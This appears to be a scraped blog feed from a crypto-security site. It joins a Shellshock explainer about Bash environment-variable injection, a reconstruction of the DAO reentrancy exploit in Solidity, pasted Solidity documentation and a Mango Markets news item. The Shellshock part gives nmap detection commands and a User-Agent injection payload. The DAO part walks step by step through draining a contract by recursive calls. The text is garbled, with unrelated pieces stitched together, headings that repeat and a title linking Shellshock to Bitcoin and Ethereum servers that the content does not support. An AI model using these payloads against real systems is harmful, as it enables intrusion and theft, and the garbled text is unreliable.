ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Is this the new Heartbleed?

Compared to Heartbleed, this vulnerability is much easier to exploit. Moreover, in the case of Heartbleed, a cybercriminal could only steal data from memory in the hope that something worthwhile would be found among them, while the bash vulnerability makes it possible to completely control the system. Thus, it appears to be much more dangerous than Heartbleed.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Could this vulnerability be used to launch APT attacks in the future?

Of course, in the future this vulnerability could be used to develop malware. Malicious programs may appear that automatically check the attacked infrastructure for the presence of this vulnerability, with the aim of further infecting the system or carrying out other types of attacks.


This vulnerability is related to  bash’s “function export” feature  . The export command is used to export a variable or function to the environment of all child processes running in the current shell. This  “function export” feature  is implemented by encoding the scripts in a table that is common to all instances called the environment variable list.

Although Bash is not an Internet-facing service, many network and Internet services use environment variables to communicate with the server OS. If these environment variables are not cleared before execution, an attacker can send commands via HTTP requests and have them executed by the server operating system.

Operation vectors:

  1. CGI based web server
  2. OpenSSH server
  3. DHCP clients
  4. Qmail server
  5. IBM HMC Limited Shell
  6. CGI based web server:

CGI stands for Common Gateway Interface and is used to process document requests. When a certain amount of information is copied from a request into a list of environment variables, and if that request is delegated by a handler program that is a bash script, then bash will receive the environment variables passed by the server and process them. This allows an attacker to trigger a Shellshock vulnerability using a specially crafted document request.

Nmap :

You can use this two commands to find whether the target website is vulnerable to Shellshock or not.

nmap -sV -p- --script http-shellshock <target>
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>

CGI uses bash as its default request handler and this attack does not require any authentication, so most attacks occur on CGI pages to exploit this vulnerability. CGI scripts can be extremely dangerous if not carefully checked.

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
|
|     Disclosure date: 2014-09-24
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

2.  OpenSSH server:

OpenSSH is also known as  OpenBSD Secure Shell. It is a set of secure networking utilities based on the SSH protocol, which provides a secure channel over an insecure network in a client-server architecture.

OpenSSH has a  “ForceCommand” feature  , where a fixed command is executed when the user logs in, rather than just launching an unconstrained shell. A fixed command runs even if the user has specified that another command should be run; in this case, the original command is placed in the  “SSH_ORIGINAL_COMMAND” environment variable  . When a force command is run in the Bash shell, the Bash shell parses the  SSH_ORIGINAL_COMMAND environment variable  at startup and runs the commands built into it. A user used their restricted shell access to gain unrestricted shell access by exploiting the Shellshock bug.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

3.  DHCP clients:

DHCP stands for Dynamic Host Configuration Protocol. It is a network management protocol used in Internet Protocol networks in which a DHCP server dynamically assigns an IP address and other network configuration parameters to each device on the network so that they can communicate with other IP networks.

Some DHCP clients can also pass Bash commands; a vulnerable system can be attacked when connected to an open Wi-Fi network. A DHCP client typically requests and receives an IP address from a DHCP server, but it can also be given a number of additional options. In one of these variations, a malicious DHCP server could provide a string designed to execute code on a vulnerable workstation or laptop.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

4.  Qmail server:

Qmail  is a mail transfer agent running on Unix. It was written in December 1995 by Daniel J. Bernstein as a more secure replacement for the popular Sendmail program.

When using Bash to process email messages (for example, through a .forward channel or qmail-alias), the qmail mail server passes external input in such a way that a vulnerable version of Bash can be used.

Checking for CGI scripts

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

5.  IBM HMC Limited Shell:

A restricted  shell  is a Unix shell that restricts some of the capabilities available to an interactive user session or to a shell script running within it. It is intended to provide an extra layer of security, but it is not sufficient to run completely untrusted software.

This bug can be used to gain access to Bash from a limited shell of the IBM  Hardware Management Console  , a tiny Linux variant for system administrators. IBM has released a fix to resolve this issue.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Shellshock attack vectors?

When you send a request and when that request is received by the server, there are three parts of the request that can be vulnerable to a Shellshock attack.

  1. Requested URL
  2. Headers in requests (eg user agent, referrer, etc.)
  3. Arguments in requests (for example, name, id, etc.)

A Shellshock vulnerability typically occurs when an attacker modifies the original HTTP request to contain the magic  () {:; }; a thread.

Let’s say the attacker changed the User-Agent header from  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0  to just  () { :; }; /bin/extract

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

This will create the following variable inside the web server:  HTTP_USER_AGENT=() { :; }; /bin/extract

Now, if the web server passes this variable to bash, a Shellshock vulnerability occurs.

Instead of treating the  HTTP_USER_AGENT variable  as a sequence of characters that has no special meaning, bash interprets it as a command that needs to be executed. The problem is that  HTTP_USER_AGENT  comes from the  User-Agent header  , which is controlled by the attacker as it comes to the web server in the HTTP request.


Literature:


Source

POLYNONCE ATTACK

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/fIYYi1kGEnc

Source: https://cryptodeeptech.ru/shellshock-attack-on-bitcoin


ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Сообщение ShellShock Attack vulnerability on “Bitcoin” & “Ethereum” server discovered in GNU Bash cryptocurrency exchange появились сначала на «CRYPTO DEEP TECH».

]]>
Cryptanalysis of the DAO exploit & Multi-Stage Attack https://cryptodeeptech.ru/dao-exploit/ Thu, 22 Jun 2023 14:45:14 +0000 https://cryptodeeptech.ru/?p=2321 In this article, we will look at a bug in the DAO code. The hacker exploited a bug in the code of the DAO and stole more or less $50 million worth of ether. I will focus here only on the main technical issue of the exploit: The fallback function. For a more detailed and […]

Сообщение Cryptanalysis of the DAO exploit & Multi-Stage Attack появились сначала на «CRYPTO DEEP TECH».

]]>

In this article, we will look at a bug in the DAO code. The hacker exploited a bug in the code of the DAO and stole more or less $50 million worth of ether. I will focus here only on the main technical issue of the exploit: The fallback function. For a more detailed and advanced recount of the attack, the blog posts by Phil Daian and Peter Vessenes are highly recommended.

This post will be the first in what is potentially a series, deconstructing and explaining what went wrong at the technical level while providing a timeline tracing the actions of the attacker back through the blockchain. This first post will focus on how exactly the attacker stole all the money in the DAO.

A Multi-Stage Attack

This exploit in the DAO is clearly not trivial; the exact programming pattern that made the DAO vulnerable was not only known, but fixed by the DAO creators themselves in an earlier intended update to the framework’s code. Ironically, as they were writing their blog posts and claiming victory, the hacker was preparing and deploying an exploit that targeted the same function they had just fixed to drain the DAO of all its funds.

Let’s get into the overview of the attack. The attacker was analyzing DAO.sol, and noticed that the ‘splitDAO’ function was vulnerable to the recursive send pattern we’ve described above: this function updates user balances and totals at the end, so if we can get any of the function calls before this happens to call splitDAO again, we get the infinite recursion that can be used to move as many funds as we want (code comments are marked with XXXXX, you may have to scroll to see em):

function splitDAO(
  uint _proposalID,
  address _newCurator
) noEther onlyTokenholders returns (bool _success) {

  ...
  // XXXXX Move ether and assign new Tokens.  Notice how this is done first!
  uint fundsToBeMoved =
      (balances[msg.sender] * p.splitData[0].splitBalance) /
      p.splitData[0].totalSupply;
  if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) // XXXXX This is the line the attacker wants to run more than once
      throw;

  ...
  // Burn DAO Tokens
  Transfer(msg.sender, 0, balances[msg.sender]);
  withdrawRewardFor(msg.sender); // be nice, and get his rewards
  // XXXXX Notice the preceding line is critically before the next few
  totalSupply -= balances[msg.sender]; // XXXXX AND THIS IS DONE LAST
  balances[msg.sender] = 0; // XXXXX AND THIS IS DONE LAST TOO
  paidOut[msg.sender] = 0;
  return true;
}

The basic idea is this: propose a split. Execute the split. When the DAO goes to withdraw your reward, call the function to execute a split before that withdrawal finishes. The function will start running without updating your balance, and the line we marked above as “the attacker wants to run more than once” will run more than once. What does that do? Well, the source code is in TokenCreation.sol, and it transfers tokens from the parent DAO to the child DAO. Basically the attacker is using this to transfer more tokens than they should be able to into their child DAO.

How does the DAO decide how many tokens to move? Using the balances array of course:

uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply;

Because p.splitData[0] is going to be the same every time the attacker calls this function (it’s a property of the proposal p, not the general state of the DAO), and because the attacker can call this function from withdrawRewardFor before the balances array is updated, the attacker can get this code to run arbitrarily many times using the described attack, with fundsToBeMoved coming out to the same value each time.

The first thing the attacker needed to do to pave the way for his successful exploit was to have the withdraw function for the DAO, which was vulnerable to the critical recursive send exploit, actually run. Let’s look at what’s required to make that happen in code (from DAO.sol):

function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
  if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])
    throw;

  uint reward =
    (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];
  if (!rewardAccount.payOut(_account, reward)) // XXXXX vulnerable
    throw;
  paidOut[_account] += reward;
  return true;
}

If the hacker could get the first if statement to evaluate to false, the statement marked vulnerable would run. When that statements runs, code that looks like this would be called:

function payOut(address _recipient, uint _amount) returns (bool) {
  if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner))
      throw;
  if (_recipient.call.value(_amount)()) { // XXXXX vulnerable
      PayOut(_recipient, _amount);
      return true;
  } else {
      return false;
}

Notice how the marked line is exactly the vulnerable code mentioned in the description of the exploit we linked!

That line would then send a message from the DAO’s contract to “_recipient” (the attacker). “_recipient” would of course contain a default function, that would call splitDAO again with the same parameters as the initial call from the attacker. Remember that because this is all happening from inside withdrawFor from inside splitDAO, the code updating the balances in splitDAO hasn’t run. So the split will send more tokens to the child DAO, and then ask for the reward to be withdrawn again. Which will try to send tokens to “_recipient” again, which would again call split DAO before updating the balances array.

And so it goes:

  1. Propose a split and wait until the voting period expires. (DAO.sol, createProposal)
  2. Execute the split. (DAO.sol, splitDAO)
  3. Let the DAO send your new DAO its share of tokens. (splitDAO -> TokenCreation.sol, createTokenProxy)
  4. Make sure the DAO tries to send you a reward before it updates your balance but after doing (3). (splitDAO -> withdrawRewardFor -> ManagedAccount.sol, payOut)
  5. While the DAO is doing (4), have it run splitDAO again with the same parameters as in (2) (payOut -> _recipient.call.value -> _recipient())
  6. The DAO will now send you more child tokens, and go to withdraw your reward before updating your balance. (DAO.sol, splitDAO)
  7. Back to (5)!
  8. Let the DAO update your balance. Because (7) goes back to (5), it never actually will :-).

(Side note: Ethereum’s gas mechanics don’t save us here. call.value passes on all the gas a transaction is working with by default, unlike the send function. so the code will run as long as the attacker will pay for it, which considering it’s a cheap exploit means indefinitely)

Armed with this, we can provide a step by step re-trace of how The DAO got emptied out.

Step 1: Proposing the Split

The first step towards all of the above is to simply propose a regular split, as we’ve mentioned.

The attacker does this in the blockchain here in DAO Proposal #59, with the title “Lonely, so Lonely”.

Because of this line:

// The minimum debate period that a split proposal can have
uint constant minSplitDebatePeriod = 1 weeks;

he had to wait a week for the proposal to see approval. No matter, it’s just a split proposal like any other! Nobody will look too closely at it, right?

Step 2: Getting the Reward

As was neatly explained in one of slock.it’s previous posts on the matter, there are no rewards for the DAO to give out yet! (because no rewards were generated).

As we mentioned in the overview, the critical lines that need to run here are:

function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
  if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) // XXXXX
    throw;

  uint reward =
    (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];
  if (!rewardAccount.payOut(_account, reward)) // XXXXX
    throw;
  paidOut[_account] += reward;
  return true;
}

If the hacker could get the first marked line to run, the second marked line will run the default function of his choosing (that calls back to splitDAO as we described previously).

Let’s deconstruct the first if statement:

if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])

The balanceOf function is defined in Token.sol, and of course does exactly this:

return balances[_owner];

The rewardAccount.accumulatedInput() line is evaluated from code in ManagedAccount.sol:

// The sum of ether (in wei) which has been sent to this contract
uint public accumulatedInput;

Luckily accumulatedInput is oh so simple to manipulate. Just use the default function of the reward account!

function() {
    accumulatedInput += msg.value;
}

Not only that, but because there is no logic to decrease accumulatedInput anywhere (it tracks the input the account has gotten from all the transactions ever), all the attacker needs to do is send a few Wei to the reward account and our original condition will not only evaluate to false, but its constituent values will evaluate to the same thing every time it’s called:

if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])

Remember that because balanceOf refers to balances, which never gets updated, and because paidOut and totalSupply also never get updated since that code in splitDAO never actually executes, the attacker gets to claim their tiny share of the reward with no problems. And because they can claim their share of the reward, they can run their default function and reenter back to splitDAO. Whoopsie.

But do they actually need to include a reward? Let’s look at the line again:

if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])

What if the reward account balance is 0? Then we get

if (0 < paidOut[_account])

If nothing has ever been paid out, this will always evaluate to false and never throw! Why? The original line is equivalent, after subtracting paidOut from both sides, to:

if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account] < 0)

where that first part is actually how much is being paid out. So the check is actually:

if (amountToBePaid < 0)

But if amountToBePaid is 0, the DAO pays you anyway. To me this doesn’t make much sense — why waste the gas in this manner? I think this is why many people assumed the attacker needed a balance in the reward account to proceed with the attack, something they in fact did not require. The attack works the same way with an empty reward account as with a full one!

Let’s take a look at the DAO’s reward address. The DAO accounting documentation from Slockit pegs this address as 0xd2e16a20dd7b1ae54fb0312209784478d069c7b0Check that account’s transactions and you see a pattern: 200 pages of .00000002 ETH transactions to 0xf835a0247b0063c04ef22006ebe57c5f11977cc4 and 0xc0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89, the attacker’s two malicious contracts (which we cover later). That’s one transaction for each recursive call of withdrawRewardFor, which we described above. So in this case there actually was a balance in the rewards account, and the attacker gets to collect some dust.

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Step 3: The Big Short

A number of entirely unsubstantiated allegations on social media have pointed to a $3M Ethereum short that occurred on Bitfinex just moments before the attack, claiming this short closed with almost $1M USD of profit.

It’s obvious to anyone constructing or analyzing this attack that certain properties of the DAO (specifically that any split must be running the same code as the original DAO) require an attacker to wait through the creation period of their child DAO (27 days) before withdrawing any coins in a malicious split. This gives the community time to respond to a theft, through either a soft fork freezing attacker funds or a hard fork rolling back the compromise entirely.

Any financially motivated attacker who had attempted their exploit on the testnet would have an incentive to ensure profits regardless of a potential rollback or fork by shorting the underlying token. The staggering drop that resulted within minutes of the smart contract that triggered the malicious split provided an excellent profit opportunity, and while there is no proof the attacker took the profit opportunity, we can at least conclude that after all this effort they would have been stupid not to.

Step 3a: Preventing Exit (Resistance is Futile)

Another contingency that the attacker needed to think of is the case that a DAO split occurs before the attacker can finish emptying the DAO. In this case, with another user as sole curator, the attacker would have no access to DAO funds.

Unfortunately the attacker is a smart guy: there is evidence that the attacker has voted yes on all split proposals that come to term after his own, making sure that he would hold some tokens in the case of any DAO split. Because of a property of the DAO we’ll discuss later in the post, these split DAOs are vulnerable to the same emptying attack we’re describing here. All the attacker has to do is sit through the creation period, send some Ether to the reward account, and propose and execute a split by himself away from this new DAO. If he can execute before the curator of this new DAO updates the code to remove the vulnerability, he manages to squash all attempts to get Ether out of the DAO that aren’t his own.

Notice by the timestamps here that the attacker did this right around the time he started the malicious split, almost as an afterthought. I see this more as an unnecessary middle finger to the DAO than a financially viable attack: having already emptied virtually the entire DAO, going through this effort to pick up any pennies that might be left on the table is probably an attempt to demoralize holders into inaction. Many have concluded, and I agree, that this hints at the attacker’s motivations being a complete destruction of the DAO that goes beyond profit taking. While none of us know the truth here, I do recommend applying your own judgment.

Interestingly enough, this attack was described by Emin Gün Sirer after it had already occurred on the blockchain, but before the public had noticed.

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Step 4: Executing the Split

So we’ve painstakingly described all the boring technical aspects of this attack. Let’s get to the fun part, the action: executing the malicious split. The account that executed the transactions behind the split is 0xf35e2cc8e6523d683ed44870f5b7cc785051a77d.

The child DAO they sent funds to is 0x304a554a310c7e546dfe434669c62820b7d83490. The proposal was created and initiated by account 0xb656b2a9c3b2416437a811e07466ca712f5a5b5a (you can see the call to createProposal in the blockchain history there).

Deconstructing the constructor arguments that created that child DAO leads us to a curator at 0xda4a4626d3e16e094de3225a751aab7128e96526. That smart contract is just a regular multisignature wallet, with most of its past transactions being adding/removing owners and other wallet management tasks. Nothing interesting there.

Johannes Pfeffer on Medium has an excellent blockchain-based reconstruction of the transactions involved in the malicious Child DAO. I won’t spend too much time on such blockchain analysis, since he’s already done a great job. I highly encourage anyone interested to start with that article.

In the next article in the series, we’ll look at the code from the malicious contract itself (containing the exploit that actually launched the recursive attack). In the interest of expedience of release, we have not yet completed such an analysis.

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Step 4a: Extending the Split

This step is an update to the original update, and covers how the attacker was able to turn a ~30X amplification attack (due to the max size of Ethereum’s stack being capped at 128) to a virtually infinite draining account.

Savvy readers of the above may notice that, even after overwhelming the stack and executing many more malicious splits than was required, the hacker would have their balance zeroed out by the code at the end of splitDAO:

function splitDAO(
  ....
  withdrawRewardFor(msg.sender); // be nice, and get his rewards
  totalSupply -= balances[msg.sender];
  balances[msg.sender] = 0;
  paidOut[msg.sender] = 0;
  return true;
}

So how did the attacker get around this? Thanks to the ability to transfer DAO tokens, he didn’t really need to! All he had to do was call the DAO’s helpful transfer function at the top of his stack, from his malicious function:

function ​transfer(address _to, uint256 _amount) noEther returns (bool success) {
 ​if (balances[msg.sender] >= _amount && _amount > 0) {
   ​balances[msg.sender] -= _amount;
   ​balances[_to] += _amount;
   ​...

By transferring the tokens to a proxy account, the original account would be zeroed out correctly at the end of splitDAO (notice how if A transfers all its money to B, A’s account is already zeroed out by transfer before it can be zeroed out by splitDAO). The attacker can then send the money back from the proxy account to the original account and start the whole process again. Even the update to totalSupply in splitDAO is missed, since p.totalSupply[0] is used to calculate the payout, which is a property of the original proposal and only instantiated once before the attack occurs. So the attack size stays constant despite less available ETH in the DAO with every iteration.

The evidence of two malicious contracts calling into withdrawRewardFor on the blockchain suggests that the attacker’s proxy account was also an attack-enabled contract that simply alternated as the attacker with the original contract. This optimization saves the attacker one transaction per attack cycle, but otherwise appears unnecessary.

Was 1.1 Vulnerable?

Because this vulnerability was in withdrawRewardFor, a natural question to ask is whether the DAO 1.1, with the updated function, was still vulnerable to a similar attack. The answer: yes.

Check out the updated function (especially the marked lines):

function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
  if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])
    throw;

  uint reward =
    (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];

  reward = rewardAccount.balance < reward ? rewardAccount.balance : reward;

  paidOut[_account] += reward; // XXXXX
  if (!rewardAccount.payOut(_account, reward)) // XXXXX
    throw;

  return true;
}

Notice how paidOut is updated before the actual payout is made now. So how does this affect our exploit? Well, the second time getRewardFor is called, from inside the evil second call to splitDAO, this line:

uint reward =
 (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];

will come out to 0. The payOut call will then call _recipient.call.value(0)(), which is the default value for that function, making it equivalent to a call to

_recipient.call()

Because the attacker paid for a lot of gas when sending his malicious split transaction, the recursive attack is allowed to continue with a vengeance.

Realizing they needed a 1.2 6 days after a 1.1, on code designed to be secure for years, is probably why the DAO’s puppet masters called it quits.

An Important Takeaway

I think the susceptibility of 1.1 to this attack is really interesting: even though withdrawReward for was not vulnerable by itself, and even though splitDAO was not vulnerable without withdrawRewardFor, the combination proves deadly. This is probably why this exploit was missed in review so many times by so many different people: reviewers tend to review functions one at a time, and assume that calls to secure subroutines will operate securely and as intended.

In the case of Ethereum, even secure functions that involve sending funds could render your original function as vulnerable to reentrancy. Whether they’re functions from the default Solidity libraries or functions that you wrote yourself with security in mind. Special care is required in reviews of Ethereum code to make sure that any functions moving value occur after any state updates whatsoever, otherwise these state values will be necessarily vulnerable to reentrancy.

I won’t cover the fork debate or what’s next for Ethereum and The DAO here. That subject is being beaten to death on every form of social media imaginable.

For our series of posts, the next step is to reconstruct the exploit on the TestNet using the DAO 1.0 code, and demonstrate both the code behind the exploit and the mechanism of attack. Please note that if someone beats me to these objectives, I reserve the right to cap the length of the series at one.

Solidity

Solidity is an object-oriented, high-level language for implementing smart contracts. Smart contracts are programs that govern the behavior of accounts within the Ethereum state.

Solidity is a curly-bracket language designed to target the Ethereum Virtual Machine (EVM). It is influenced by C++, Python, and JavaScript. You can find more details about which languages Solidity has been inspired by in the :doc:`language influences <language-influences>` section.

Solidity is statically typed, supports inheritance, libraries, and complex user-defined types, among other features.

With Solidity, you can create contracts for uses such as voting, crowdfunding, blind auctions, and multi-signature wallets.

When deploying contracts, you should use the latest released version of Solidity. Apart from exceptional cases, only the latest version receives security fixes. Furthermore, breaking changes, as well as new features, are introduced regularly. We currently use a 0.y.z version number to indicate this fast pace of change.

Warning

Solidity recently released the 0.8.x version that introduced a lot of breaking changes. Make sure you read :doc:`the full list <080-breaking-changes>`.

Ideas for improving Solidity or this documentation are always welcome, read our :doc:`contributors guide <contributing>` for more details.

Hint

You can download this documentation as PDF, HTML or Epub by clicking on the versions flyout menu in the bottom-left corner and selecting the preferred download format.

Getting Started

1. Understand the Smart Contract Basics

If you are new to the concept of smart contracts, we recommend you to get started by digging into the “Introduction to Smart Contracts” section, which covers the following:

2. Get to Know Solidity

Once you are accustomed to the basics, we recommend you read the :doc:`”Solidity by Example” <solidity-by-example>` and “Language Description” sections to understand the core concepts of the language.

3. Install the Solidity Compiler

There are various ways to install the Solidity compiler, simply choose your preferred option and follow the steps outlined on the :ref:`installation page <installing-solidity>`.

Hint

You can try out code examples directly in your browser with the Remix IDE. Remix is a web browser-based IDE that allows you to write, deploy and administer Solidity smart contracts, without the need to install Solidity locally.

Warning

As humans write software, it can have bugs. Therefore, you should follow established software development best practices when writing your smart contracts. This includes code review, testing, audits, and correctness proofs. Smart contract users are sometimes more confident with code than their authors, and blockchains and smart contracts have their own unique issues to watch out for, so before working on production code, make sure you read the :ref:`security_considerations` section.

4. Learn More

If you want to learn more about building decentralized applications on Ethereum, the Ethereum Developer Resources can help you with further general documentation around Ethereum, and a wide selection of tutorials, tools, and development frameworks.

If you have any questions, you can try searching for answers or asking on the Ethereum StackExchange, or our Gitter channel.

Translations

Community contributors help translate this documentation into several languages. Note that they have varying degrees of completeness and up-to-dateness. The English version stands as a reference.

You can switch between languages by clicking on the flyout menu in the bottom-left corner and selecting the preferred language.

Note

We set up a GitHub organization and translation workflow to help streamline the community efforts. Please refer to the translation guide in the solidity-docs org for information on how to start a new language or contribute to the community translations.

Contents

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Cryptanalysis of the DAO exploit & Multi-Stage Attack
Cryptanalysis of the DAO exploit & Multi-Stage Attack


Basic concepts

To start off, keep in mind that in Ethereum there are two types of accounts: (i) externally owned accounts controlled by humans and (ii) contract accounts controlled by code. This is important because only contract accounts have associated code, and hence, can have a fallback function.

In Ethereum all the action is triggered by transactions or messages (calls) set off by externally owned accounts. Those transactions can be an ether transfer or the triggering of contract code. Remember, contracts can trigger other contracts’ code as well.

Smart contracts are written in high-level programming languages such as Solidity but for those contracts to be uploaded on the blockchain, they need to be compiled into bytecode, a low-level programming language executed by the Ethereum Virtual Machine (EVM). Said bytecode can be interpreted with opcodes.

When a contract calls or sends money to another contract that code compiles in the EVM bytecode, invoking the call function. But, there is a difference: When calling another contract the call function provides specific function identifiers and data, however, when sending money to another contract, the call function has a set amount of gas but no data (case b below), and thus, triggers the fallback function of the called contract.

The attack

The fallback function abuse played a very important role in the DAO attack. Let’s see what a fallback function is and how it can be used for malicious purposes.

Fallback function

A contract can have one anonymous function, known as well as the fallback function. This function does not take any arguments and it is triggered in three cases [1]:

a. If none of the functions of the call to the contract match any of the functions in the called contract

b. When the contract receives ether without extra data

c. If no data was supplied

Example

The following is sample code for a contract vulnerable to a malicious fallback function of another contract. In this example we have two contracts: (i) the contract Bank (vulnerable contract) and (ii) the contract BankAttacker (malicious contract). Imagine that the contract Bank is the DAO smart contract but much more simplified and the contract BankAttacker is the hacker’s malicious smart contract that emptied the DAO.

The hacker initiates the interaction with contract Bank through its malicious contract and the sequence of the actions is as follows:

  1. The first thing the hacker does is send ether (75 wei) to the vulnerable contract through the deposit function of the malicious contract. This function calls the addToBalance function of the vulnerable contract.
  2. Then, the hacker withdraws, through the withdraw function of the malicious contract, the same amount of wei (75), triggering the withdrawBalance function of the vulnerable contract.
  3. The withdrawBalance function first sends ether (75 wei) to the malicious contract, triggering its fallback function, and last updates the userBalances variable (that this piece is done last is very important for the attack).
  4. The malicious fallback function calls the withdrawBalance function again (recursive call), doubling the withdraw, before the execution of the first withdrawBalance function finishes, and thus, without updating the userBalances variable.

In this example, there are only two recursive calls to the withdrawBalance function so the hacker ends up with a balance of 150 wei. They took more than they should (75 wei) because the userBalance variable is the last thing set/updated.

One important point is that unlike the JavaScript’s blocks of code, the EVM executes instructions synchronously, one after the other, and this is why the userBalance variable is updated only after the previous code is finished.

The following is a more graphic explanation of the example. The instances referred in this graphic are the different states of the contracts saved in the blockchain. In the graphic you will see that the hacker, through his/her/their external account, triggers the malicious contract, so this contract can interact with the vulnerable contract.

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Last, here is the example in JavaScript, just in case you are not very familiar with Solidity yet.


The hacker stole over $100 million in crypto from the Mango Markets Exchange on Tuesday, and may get to keep almost half of it.

Cryptanalysis of the DAO exploit & Multi-Stage Attack

Mango DAO has offered a deal to the thief who made off with $100 million in crypto from an exploit in the Mango Markets platform earlier this week—a way to avoid a criminal investigation and pay off bad debt.

The Mango DAO, a decentralized autonomous organization that manages Mango Markets, has offered the hacker a bug bounty of $47 million, meaning that the thief would be required to send back $67 million worth of tokens under the terms of the deal.

“We are seeking to make users whole to the extent possible,” the Mango DAO proposal says, addressing the thief.

On Tuesday, a hacker was able to steal over $100 million through an exploit in the Mango Markets Solana DeFi exchange. The attacker temporarily drove up the value of their collateral and then took out loans from the Mango treasury.

The DAO is a so-called Decentralized Autonomous Organization (“DAO”). DAOs run through rules encoded as smart contracts, which in turn are computer programs that facilitate, verify, or enforce the negotiation or performance of a contract, or that make a contractual clause unnecessary. In simple terms, think of any contract between two parties that gets translated into code, so it doesn’t need any external action but does automatically what was agreed. Smart Contracts are a pretty revolutionary and powerful concept by itself and if you want to know more about it, read our separate post on the subject.

The idea of a DAO somewhat is that once launched it can run based on its underlying smart contracts alone. The DAO’s smart contracts are based on Etherum, a public blockchain (which is a distributed database – for more information on blockchain, see here) platform with programmable transaction functionality that is also the basis for ether (or ETH), a cryptocurrency. ETH is a cryptocurrency similar to Bitcoin, but very popular since it offers a wider range of services and therefore sometimes considered a considerable challenger of Bitcoin as the leading cryptocurrency.

The DAO is fuelled using ether, which creates DAO tokens. DAO token holders will have the right to vote on investment proposals (proportional to the number of tokens held) as well as the opportunity to receive rewards generated by the output of the work from the contractors’ proposals. Since it is decentralized autonomous organization that is represented only by its smart contracts, it has no physical address and people only interact as contractors or curators, but not in managerial roles in the traditional sense. However, it is supported by a limited company and a cryptocurrency exchange in Switzerland, both chosen with a view to the legal and regulatory framework. The DAO is intended as a form of venture capital vehicle that would invest in projects in the sharing economy. Prior to the attack, the fund’s value was around $150 million in ether.

So while its creators hoped to build a more democratic financial institution that would be safe against the fallibility of humans by trusting the trustless concept of the blockchain and smart contracts, it seems human error is at the bottom of the heist.

Though it is not entirely certain yet how the money has been stolen, it appears that the hacker exploited a programing mistake in the code of the DAO. Weaknesses in the code had already been highlighted before and experts in the field had already called to fix critical problems. At this point it is important to recall that as a blockchain-enabled organization, the DAO is completely transparent and everything is done by the code, which anyone can see and audit. So, it seems that what happened – in a very simplified way – was that the hacker sent repeated transaction request to transfer funds to a DAO clone. Because of the programming error, the system possibly did not immediately update the balance, allowing the attacker to drain the account.

Since then the discussion has been how to respond to the attack. In an initial response, Vitalik Buterin, one of Ethereum’s founders, publicly asked online currency exchanges to suspend trading of ether and DAO tokens as well as deposits and withdrawals of the cryptocurrency.

Because of a restriction in the code pay-outs are delayed for at least one week, possibly even longer, the hacker will not be able to access the funds and give The DAO community some time. Several options are currently discussed: The community could decide to do nothing, preserve the system and let the DAO token holders loose their investment. Or the so-called “hard-fork” where the Ethereum community could decide to roll back all transactions to a specific point in time before the attack. Or the network could be updated to ensure that all transactions from the hacker’s ether address are blocked, basically freezing the account and trying to exploit a similar programing error to “steel” the money back since the DAO clone is likely to contain the same code structure that made the original attack possible.

Regardless which course is decided on, what are the likely consequences for the DAO, Ethereum and the Blockchain in general after this incident?
Stephen Tual, COO of Slock.it, the company that had worked on the development of The DAO, stated that The DAO is definitely going to close. Whether that is the case is to be seen as in a leaderless organization no one person alone can decide on the fate of the organisation. The future of the investment vehicle is cast into serious doubt in any case by the theft itself, as it is questionable whether anyone would put money in a construction that has a proven vulnerability even when its makers promise to fix the issues. Trust, after all, is relevant even for a trustless concept when it comes to money.

